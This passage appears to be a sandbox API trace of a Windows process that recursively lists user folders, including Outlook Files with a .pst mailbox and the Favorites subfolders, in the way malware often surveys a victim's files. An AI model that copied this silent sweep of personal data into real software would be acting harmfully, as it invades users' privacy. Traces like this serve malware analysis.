lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.753] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.753] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0124.753] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0124.753] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0124.753] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.753] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.753] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30833f0 | out: hHeap=0x5c0000) returned 1 [0124.753] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.753] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0124.754] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.754] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.754] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.754] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.754] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.754] PathFindFileNameW (pszPath="") returned="" [0124.754] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0124.754] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083558 | out: hHeap=0x5c0000) returned 1 [0124.754] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.754] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30833f0 | out: hHeap=0x5c0000) returned 1 [0124.754] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.754] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0124.754] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.754] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.754] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.754] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.754] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.754] PathFindFileNameW (pszPath="") returned="" [0124.754] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.755] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083558 | out: hHeap=0x5c0000) returned 1 [0124.755] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.755] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0124.755] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0124.755] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.755] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.755] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30833f0 | out: hHeap=0x5c0000) returned 1 [0124.755] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.755] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0124.755] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0124.756] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.756] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.756] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.756] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.756] PathFindFileNameW (pszPath="") returned="" [0124.756] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.756] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0124.756] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.756] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.756] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0124.756] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0124.756] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0124.756] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.756] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.756] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0124.756] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.756] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0124.756] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0124.756] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.756] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.757] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.757] PathFindFileNameW (pszPath="") returned="" [0124.757] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.758] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.758] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0124.758] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0124.758] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0124.758] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0124.758] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0124.758] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0124.758] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.759] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.759] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0124.759] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0124.759] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.759] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.759] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.759] PathFindFileNameW (pszPath="") returned="" [0124.759] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.761] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.761] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0124.761] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0124.761] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0124.761] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0124.761] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0124.761] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0124.761] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0124.761] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.762] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.762] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0124.762] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0124.762] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.762] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.762] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.762] PathFindFileNameW (pszPath="") returned="" [0124.762] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 